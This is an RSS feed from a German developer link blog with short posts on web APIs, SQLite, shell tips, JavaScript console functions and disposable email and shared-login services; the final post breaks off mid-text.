<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Ein Blog – blog.holz.nu</title><description>Mehr Linksammlung als Blog</description><link>https://blog.holz.nu</link><language>de-DE</language><item><link>https://blog.holz.nu/2020/11/04/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2020/11/04/0.html</guid><pubDate>Wed, 04 Nov 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Falls Ihr ein neues C/C++-Projekt anlegt und Euch fragt, welche Compiler-Flags Ihr so gesetzt haben solltet.
&lt;a href=&quot;https://developers.redhat.com/blog/2018/03/21/compiler-and-linker-flags-gcc/&quot;&gt;Hier&lt;/a&gt; schreibt RedHat was darüber.
Ihr solltet natürlich schauen, dass die Flags zu Eurem Vorhaben passen.
Für Embedded-Software gibt&apos;s &lt;a href=&quot;https://interrupt.memfault.com/blog/best-and-worst-gcc-clang-compiler-flags&quot;&gt;hier&lt;/a&gt; auch einen Eintrag.&lt;/p&gt;
&lt;p&gt;Wer noch andere kennt oder Verbesserungen hat, her damit!&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2020/11/06/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2020/11/06/0.html</guid><pubDate>Fri, 06 Nov 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Für Euer nächstes Bash-Skript:
&lt;a href=&quot;https://vaneyckt.io/posts/safer_bash_scripts_with_set_euxo_pipefail/&quot;&gt;Hier ein paar Flags, die ihr womöglich setzen wollt&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/01/19/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/01/19/0.html</guid><pubDate>Tue, 19 Jan 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://brave.com/ipfs-support/&quot;&gt;Brave kann jetzt IPFS&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/03/05/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/03/05/0.html</guid><pubDate>Fri, 05 Mar 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Dieses &lt;a href=&quot;https://github.com/tc39/proposal-record-tuple&quot;&gt;TC39-Proposal&lt;/a&gt; ist gerade relativ aktiv.
Es bringt immutable Types und Form von Tupeln und Records.&lt;/p&gt;
&lt;p&gt;Bin sehr gespannt, was da rauskommt.
Bisher sieht es vielversprechend aus.
U. a. haben wir dann die Möglichkeit, Tupel und Records als Keys in einer ES-Map zu nehmen (und dann natürlich kann man sie dann auch ordentlich mit Sets verwenden).
Die JS-Engines können dann auch sicher noch besser optimieren.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/03/12/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/03/12/0.html</guid><pubDate>Fri, 12 Mar 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.7-zip.org/download.html&quot;&gt;Es gibt 7-Zip jetzt auch als nativen Linux-Port&lt;/a&gt;.
Gab es 7-Zip nicht vorher auch schon für Linux?
Jetzt gibt es zwei (&lt;a href=&quot;https://github.com/jinfeihan57/p7zip&quot;&gt;oder vielleicht sogar drei?&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;&lt;code&gt;p7zip&lt;/code&gt; (POSIX-7-Zip) ist ein Port eines anderen Entwicklers, der bei 16.02 stehen blieb.
Der neue Port ist von Igor Pavlov selbst und wird dementsprechend auch gewartet (aktuell Version 21.01).&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/03/12/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/03/12/1.html</guid><pubDate>Fri, 12 Mar 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ich bin ja ein großer Fan von SQLite. &lt;a href=&quot;https://sqlite.org/releaselog/3_35_0.html&quot;&gt;Davon kam gerade Version 3.35.0 raus&lt;/a&gt;.
Das ist für mich ein richtig großartiges Release. Kurzer Auszug:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Ein paar Mathe-Funktionen&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ALTER TABLE DROP COLUMN&lt;/code&gt; (vorher musste man die Tabelle in eine neue kopieren)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;RETURNING&lt;/code&gt;-Keyword für schreibende Operationen (&lt;code&gt;DELETE&lt;/code&gt;/&lt;code&gt;INSERT&lt;/code&gt;/&lt;code&gt;UPDATE&lt;/code&gt;), bei dem die entsprechende Zeile zurückgegeben wird&lt;/li&gt;
&lt;li&gt;Materialized CTEs&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Bis auf die Mathe-Funktionen sind das alles Game-Changer für mich.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/03/14/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/03/14/0.html</guid><pubDate>Sun, 14 Mar 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Man entdeckt ja immer wieder Sachen in der IT, die man (bisher) nirgends gesehen hat, aber eigentlich ziemlich praktisch sind oder ein Problem auf eine andere Art lösen.&lt;/p&gt;
&lt;p&gt;Für HTML hab ich heute:
Die Attribute &lt;a href=&quot;https://html.spec.whatwg.org/multipage/links.html#ping&quot;&gt;&lt;code&gt;ping&lt;/code&gt;&lt;/a&gt;, &lt;a href=&quot;https://html.spec.whatwg.org/multipage/text-level-semantics.html#the-a-element:attr-hyperlink-hreflang&quot;&gt;&lt;code&gt;hreflang&lt;/code&gt;&lt;/a&gt; und &lt;a href=&quot;https://html.spec.whatwg.org/multipage/links.html#attr-hyperlink-download&quot;&gt;&lt;code&gt;download&lt;/code&gt;&lt;/a&gt; beim &lt;code&gt;a&lt;/code&gt;-Tag.&lt;/p&gt;
&lt;p&gt;Habe eine mehr oder weniger große Liste, die sich über die Jahre angesammelt hat. Diese werde ich in ein paar Blog-Posts umwandeln. Also nicht wundern, wenn mal eine API dabei ist, die schon etwas älter ist.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/03/14/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/03/14/2.html</guid><pubDate>Sun, 14 Mar 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=Wz_xJPN7lAY&quot;&gt;Falls Ihr mal sehen wollt, wie aufregend man x86-Instructions finden kann&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Ist generell ein toller Kanal, falls Euch Assembler interessiert.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/03/14/3.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/03/14/3.html</guid><pubDate>Sun, 14 Mar 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Aus der Serie &quot;was, sowas gibt&apos;s?&quot;, heute:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Clear-Site-Data&quot;&gt;Einen HTTP-Header&lt;/a&gt;, mit dem man dem Browser bittet, den Local-/Session-/IndexDB-Storage, die Cookies und den Cache zu löschen.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/03/15/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/03/15/0.html</guid><pubDate>Mon, 15 Mar 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Beim komprimieren von &lt;code&gt;tar&lt;/code&gt;-Dateien kann man deutlich unterschiedliche Ergebnisse bekommen.
Offenbar ist die Reihenfolge, in der die Dateien in einer tar landen, bei GNUs und BSDs tar nicht definiert.&lt;/p&gt;
&lt;p&gt;Wenn man jetzt Dateien hat, die ähnlicheren Inhalt aufweisen, je &quot;näher&quot; die Dateinamen sind, kann man mehr Kompression rausholen.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://superuser.com/a/1633147&quot;&gt;Bei GNUs tar gibt&apos;s dafür &lt;code&gt;--sort&lt;/code&gt; und sorgt bei einem Nutzer hier für 15-fach bessere Kompression&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Ggf. ist es sogar sinnvoll, die Dateien umzubenennen, sodass die Extension vorne steht. So kann die Kompression die gleichen Datei-Header direkt besser komprimieren.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/03/16/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/03/16/0.html</guid><pubDate>Tue, 16 Mar 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Es gibt in JS die Funktionen &lt;a href=&quot;https://developer.mozilla.org/de/docs/Web/API/Console/time&quot;&gt;&lt;code&gt;console.time(string?)&lt;/code&gt;&lt;/a&gt; und &lt;a href=&quot;https://developer.mozilla.org/de/docs/Web/API/Console/timeEnd&quot;&gt;&lt;code&gt;console.timeEnd(string?)&lt;/code&gt;&lt;/a&gt; für&apos;s einfache Messen von Laufzeiten.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/03/16/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/03/16/1.html</guid><pubDate>Tue, 16 Mar 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Heutzutage stellen sich viele ein ganzes Cluster hin, um eine Webseite mit 0.3 Requests pro Sekunde zu betreiben. Die ganze Schiene mit K8s etc., also horizontaler Skalierung (&quot;mehr Maschinen&quot;) und ganz viele Micro-Services. Sowas hat auch ein paar Nachteile, wie z. B., dass der Wartungsoverhead schnell sehr hoch wird.&lt;/p&gt;
&lt;p&gt;Vielleicht ist manchen gar nicht bewusst, wie viel man mit vertikaler Skalierung (also z. B. &quot;mehr RAM in die Maschine&quot;) eigentlich erreichen kann. Gerade bin ich auf ein schönes Beispiel gestoßen, das man vielleicht einigen mal zeigen sollte: &lt;a href=&quot;https://stackexchange.com/performance&quot;&gt;StackOverflow bzw. StackExchange&lt;/a&gt; hat gerade mal 9 Webserver und 2 dicke Datenbankserver. Einen für StackOverflow, einen für die restlichen StackExchange-Seiten.
Da habe ich schon deutlich aufgeblähtere Stacks mit einer nicht ansatzweise vergleichbaren Last gesehen als das, was StackOverflow da fährt.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/03/17/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/03/17/0.html</guid><pubDate>Wed, 17 Mar 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Man kann in HTML den Browser einen DNS-Namen prefetchen lassen. Damit hat er den Namen schon aufgelöst, bevor man die sich dorthin verbinden will:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;dns-prefetch&quot; href=&quot;https://api.example.com&quot; &amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/Performance/dns-prefetch&quot;&gt;MDN dazu&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/03/17/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/03/17/1.html</guid><pubDate>Wed, 17 Mar 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Falls Ihr gerade 3 Stunden Zeit habt, einen Podcast zu hören:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=krB0enBeSiE&quot;&gt;Lex Fridman redet hier mit Brendan Eich&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Brendan geht auf viele Trivia der Computergeschichte ein und hat gefühlt irgendwie alles einmal gemacht. Natürlich geht es viel um JavaScript, die Visionen, die sie damals alle hatten, und viel Zeug im Hintergrund.&lt;/p&gt;
&lt;p&gt;Man erfährt zum Beispiel auch, was ihn damals dazu gebracht hat, Type Coercion (also das nicht immer nachvollziehbare Umwandeln von Typen) in JS zu bauen. Anfangs war JS nämlich &quot;ordentlich&quot;.&lt;/p&gt;
&lt;p&gt;Falls Euch &lt;a href=&quot;https://en.wikipedia.org/wiki/Brendan_Eich&quot;&gt;Brendan Eich&lt;/a&gt; nichts sagt, das ist der, der JavaScript entwickelt hat und lange Zeit der CEO von Mozilla war.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/03/17/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/03/17/2.html</guid><pubDate>Wed, 17 Mar 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Hier hat jemand eine &lt;a href=&quot;https://chartscss.org&quot;&gt;Chart-Plotting-Library&lt;/a&gt; gebaut, die ausschließlich mit CSS läuft.&lt;/p&gt;
&lt;p&gt;Die Idee: Man listet seine Daten in einer &lt;code&gt;&amp;lt;table&amp;gt;&lt;/code&gt;. Bei manchen Diagramm-Typen braucht man noch ein paar Style-Attribute, mit denen man das Verhalten beeinflusst.
Anstatt der Tabelle sieht man dann z. B. ein Balkendiagramm.&lt;/p&gt;
&lt;p&gt;Das ist nicht nur cool, weil&apos;s ne Alternative zu SVG-Renderings ist. Weil es ja auch nur eine gestylte Tabelle ist, hat man gleich bessere Accessibility. Und man kann schnell mal einen Plot prototypen, ohne sich mit D3 oder Chart.js beschäftigen zu müssen.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/03/20/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/03/20/0.html</guid><pubDate>Sat, 20 Mar 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://htmlhead.dev&quot;&gt;Eine schöne Liste von Dingen, die alles in einem HTML-&lt;code&gt;head&lt;/code&gt;-Element stehen können&lt;/a&gt; (&lt;a href=&quot;https://github.com/joshbuchea/HEAD&quot;&gt;quelltext&lt;/a&gt;).&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/03/24/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/03/24/0.html</guid><pubDate>Wed, 24 Mar 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/ClearURLs/Addon&quot;&gt;Eine (Web-)Extension, die Tracking-parameter und anderes unnützes Kram aus URLs entfernt&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/03/25/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/03/25/0.html</guid><pubDate>Thu, 25 Mar 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;HTML hat Templating über ein &lt;code&gt;template&lt;/code&gt;-Tag:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;template id=&quot;row&quot;&amp;gt;
	&amp;lt;tr&amp;gt;
		&amp;lt;td class=&quot;record&quot;&amp;gt;&amp;lt;/td&amp;gt;
		&amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;
	&amp;lt;/tr&amp;gt;
&amp;lt;/template&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So kann man komplexere DOM-Teile konstruieren, ohne sich in &lt;code&gt;document.createElement()&lt;/code&gt; und &lt;code&gt;.appendChild()&lt;/code&gt; zu verlieren. Beispiel aus MDN zu dem Template oben:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const template = document.querySelector(&apos;#row&apos;);

// Clone the new row and insert it into the table
const clone = template.content.firstElementChild.cloneNode(true /* true for deep clone */);
const tds = clone.querySelectorAll(&quot;td&quot;);
tds[0].textContent = &quot;1235646565&quot;;
tds[1].textContent = &quot;Stuff&quot;;
tbody.appendChild(clone);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ist vor allem praktisch, wenn man schmal ohne irgendwelche UI-Frameworks arbeitet. &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTML/Element/template&quot;&gt;Mehr auf MDN&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/03/25/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/03/25/1.html</guid><pubDate>Thu, 25 Mar 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ich bin&apos;s wieder mit meinem SQLite. &lt;a href=&quot;https://antonz.org/sqlite-is-not-a-toy-database/&quot;&gt;Hier ein toller Post darüber, was SQLite alles out-of-the-box mitliefert&lt;/a&gt;. Einige Sachen erstaunen mich dann doch etwas (z. B. nativer JSON-Support und Perzentile) (&lt;a href=&quot;https://news.ycombinator.com/item?id=26580614&quot;&gt;HN-Thread dazu&lt;/a&gt;).&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/03/25/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/03/25/2.html</guid><pubDate>Thu, 25 Mar 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=o_AIw9bGogo&quot;&gt;Ein schöner Talk über die Geschichte und Idee von systemd&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/03/25/3.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/03/25/3.html</guid><pubDate>Thu, 25 Mar 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://brianschrader.com/archive/why-all-my-servers-have-an-8gb-empty-file/&quot;&gt;Immer eine leere 8 GB-Datei auf dem Server haben&lt;/a&gt;. Die kann man löschen, wenn irgendwas vollgelaufen ist und man Speicher braucht, um das Problem zu fixen (&lt;a href=&quot;https://news.ycombinator.com/item?id=26583791&quot;&gt;HN dazu&lt;/a&gt;).&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fallocate -l 8G spacer.img &amp;amp;&amp;amp; sync
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Bei ext3/4 werden übrigens standardmäßig &lt;a href=&quot;https://unix.stackexchange.com/q/7950&quot;&gt;5% des Speichers reserviert&lt;/a&gt;. Wenn alles kaputt geht, kann man da auch noch dran drehen.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/03/26/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/03/26/0.html</guid><pubDate>Fri, 26 Mar 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Wir hatten ja gestern HTML-Templates. Das Ganze kann man kombinieren oder ersetzen mit &lt;em&gt;Web Components&lt;/em&gt; bzw. &lt;em&gt;Custom Elements&lt;/em&gt;. Die Idee ist, dass man eine ES6-Klasse von &lt;code&gt;HTMLElement&lt;/code&gt; erben lässt und diese Klasse dann am Browser für ein bestimmtes Tag registriert.&lt;/p&gt;
&lt;p&gt;Das ist in meinen Augen etwas umständlicher als z. B. in React, aber dafür funktioniert es ohne Frameworks. Vermutlich ist das auch ganz gut für solche Frameworks wie React, als Compile-Target.&lt;/p&gt;
&lt;p&gt;Ich verlink hier nur mal MDN, statt das Riesenbeispiel zu rezitieren: &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements&quot;&gt;Using custom elements&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://caniuse.com/custom-elementsv1&quot;&gt;Der CanIUse-Eintrag dazu&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/03/26/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/03/26/1.html</guid><pubDate>Fri, 26 Mar 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://permission.site&quot;&gt;schöne Übersichtsseite, bei der man sieht, was für Permissions man einer Webseite geben kann&lt;/a&gt; (und wo man keine braucht).&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/03/29/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/03/29/0.html</guid><pubDate>Mon, 29 Mar 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Für die &lt;code&gt;console.log&lt;/code&gt;-Debugger: In JS gibt es &lt;code&gt;console.table()&lt;/code&gt;, um Arrays (oder auch Objekte, wenn man will) darzustellen (&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Console/table&quot;&gt;MDN dazu&lt;/a&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;console.table([&quot;apples&quot;, &quot;oranges&quot;, &quot;bananas&quot;]);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Funktioniert im Browser und in Node.js. Bei Node bekommt man diese Ausgabe:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Welcome to Node.js v15.11.0.
&amp;gt; // Bei Arrays:
&amp;gt; console.table([&quot;apples&quot;, &quot;oranges&quot;, &quot;bananas&quot;]);
┌─────────┬───────────┐
│ (index) │  Values   │
├─────────┼───────────┤
│    0    │ &apos;apples&apos;  │
│    1    │ &apos;oranges&apos; │
│    2    │ &apos;bananas&apos; │
└─────────┴───────────┘

&amp;gt; // Bei Objekten:
&amp;gt; console.table({firstName: &quot;Anders&quot;, lastName: &quot;Hejlsberg&quot;})
┌───────────┬─────────────┐
│  (index)  │   Values    │
├───────────┼─────────────┤
│ firstName │  &apos;Anders&apos;   │
│ lastName  │ &apos;Hejlsberg&apos; │
└───────────┴─────────────┘

// Bei Arrays von Objekten:
&amp;gt; console.table([{firstName: &quot;Anders&quot;, lastName: &quot;Hejlsberg&quot;}, {firstName: &quot;Guido&quot;, lastName: &quot;van Rossum&quot;}])
┌─────────┬───────────┬──────────────┐
│ (index) │ firstName │   lastName   │
├─────────┼───────────┼──────────────┤
│    0    │ &apos;Anders&apos;  │ &apos;Hejlsberg&apos;  │
│    1    │  &apos;Guido&apos;  │ &apos;van Rossum&apos; │
└─────────┴───────────┴──────────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Zum Debuggen oder einfache Skriptausgabe reicht&apos;s. Und bei Node.js hab ich auch schon ein NPM-Paket für Tabellen in der Konsole damit abgelöst.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/03/29/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/03/29/1.html</guid><pubDate>Mon, 29 Mar 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://tonsky.me/blog/emoji/&quot;&gt;Wie Emojis unter der Haube funktionieren&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Passend dazu (vielleicht sollte man das sogar noch vorher lesen): &lt;a href=&quot;https://kunststube.net/encoding/&quot;&gt;Was man über Unicode und UTF-* wissen sollte&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/03/30/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/03/30/0.html</guid><pubDate>Tue, 30 Mar 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Man kann mit JS das Handy / sonstige Endgerät vibrieren lassen, über die Web &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Vibration_API&quot;&gt;Vibration API&lt;/a&gt; (&lt;a href=&quot;https://caniuse.com/vibration&quot;&gt;CanIUse dazu&lt;/a&gt;).&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/03/30/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/03/30/1.html</guid><pubDate>Tue, 30 Mar 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://ifconfig.co&quot;&gt;Ein Hacker-freundliches &quot;WieIstMeineIp&quot;&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/03/30/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/03/30/2.html</guid><pubDate>Tue, 30 Mar 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.brandonsmith.ninja/blog/libraries-not-frameworks&quot;&gt;Ein tolles Essay&lt;/a&gt; darüber, dass man lieber Libraries, statt Frameworks schreiben soll.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/03/31/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/03/31/0.html</guid><pubDate>Wed, 31 Mar 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Keine Lust, jedes Mal die ASCII-Tabelle zu googlen?&lt;/p&gt;
&lt;p&gt;Versucht es hiermit, hat mein Leben verändert:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;man ascii
man utf8
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/04/02/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/04/02/0.html</guid><pubDate>Fri, 02 Apr 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/bash-lsp/bash-language-server&quot;&gt;Ein Language-Server für Bash&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Einen Language-Server kann man als Backend für Autovervollständigung und viele andere Editor-/IDE-Features verwenden. &lt;a href=&quot;https://microsoft.github.io/language-server-protocol/&quot;&gt;Das hat sich ursprünglich Microsoft ausgedacht&lt;/a&gt;, für VSCode. So muss man nicht jede Sprachintegration für jeden Editor neu bauen, sondern redet beispielsweise über JSON-RPC mit dem &quot;intelligenten&quot; Backend.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/04/02/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/04/02/1.html</guid><pubDate>Fri, 02 Apr 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Der Dienst ist schon etwas älter, aber immer noch hilfreich.&lt;/p&gt;
&lt;p&gt;Bei &lt;a href=&quot;https://bugmenot.com&quot;&gt;bugmenot.com&lt;/a&gt; findet man Login-Credentials zu Webseiten, die einen zum Login zwingen. Erstellt werden die Accounts von (wütenden?) Individuen.
In Firefox könnt Ihr auf dem Suchfeld einfach einen Rechtsklick -&amp;gt; &quot;Add a keyword for this search...&quot; machen. Ich habe das Keyword &lt;code&gt;bug&lt;/code&gt;. Wenn ich dann auf &lt;code&gt;bug abc.de&lt;/code&gt; gehe, werde ich dort auf die Seite mit den Credentials weitergeleitet.&lt;/p&gt;
&lt;p&gt;Falls Ihr doch nicht drum herum kommt, einen Account zu machen: Nehmt eine Wegwerf-Adresse. Ich meine jetzt nicht eine, die ihr noch irgendwo rumliegen habt. Viel mehr sowas wie &lt;a href=&quot;https://10minutemail.com&quot;&gt;10minutemail&lt;/a&gt;, wo man eine E-Mail-Adresse bekommt, die 10 Minuten lang gültig ist, damit man den Aktivierungslink bestätigen kann.&lt;/p&gt;
&lt;p&gt;Tragt den erstellten Account dann am besten bei BugMeNot ein.&lt;/p&gt;
&lt;p&gt;Für die Wegwerf-Adressen gibt es noch das Firefox-AddOn &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/bloody-vikings/&quot;&gt;Bloody Vikings&lt;/a&gt;. Da kann man mit einem Rechtsklick auf ein E-Mail-Feld direkt eine Wegwerf-Adresse eintragen (die Seite mit dem Posteingang öffnet sich dann im Hintergrund). Wird leider nicht mehr so aktiv gewartet. Wer eine Alternative hat. Her damit!&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/04/02/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/04/02/2.html</guid><pubDate>Fri, 02 Apr 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Seit .NET 5 gibt es in C# ein Sprachfeature, mit dem man Code generieren kann, basierend auf dem C#-Code, der schon da ist.&lt;/p&gt;
&lt;p&gt;Das öffnet vielen Dingen die Tore, z. B.:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Dependency Injection zur Compiletime (statt Runtime); dadurch schnellere Startzeit&lt;/li&gt;
&lt;li&gt;Spezialisierte (JSON-)Serialisierungs-Typen, die genau einen bestimmten Typen (De-)Serialisieren können&lt;/li&gt;
&lt;li&gt;Ganz viel Reflection fällt weg&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Eigentlich ist Code-Generation gar nicht so toll. Man hat am Ende Zeug, das man nicht ordentlich debuggen kann und im Zweifelsfall ist der Fehler im Code-Generator. Sowas ist auch immer ein Zeichen dafür, dass die Sprache nicht ausdrucksstark genug ist.
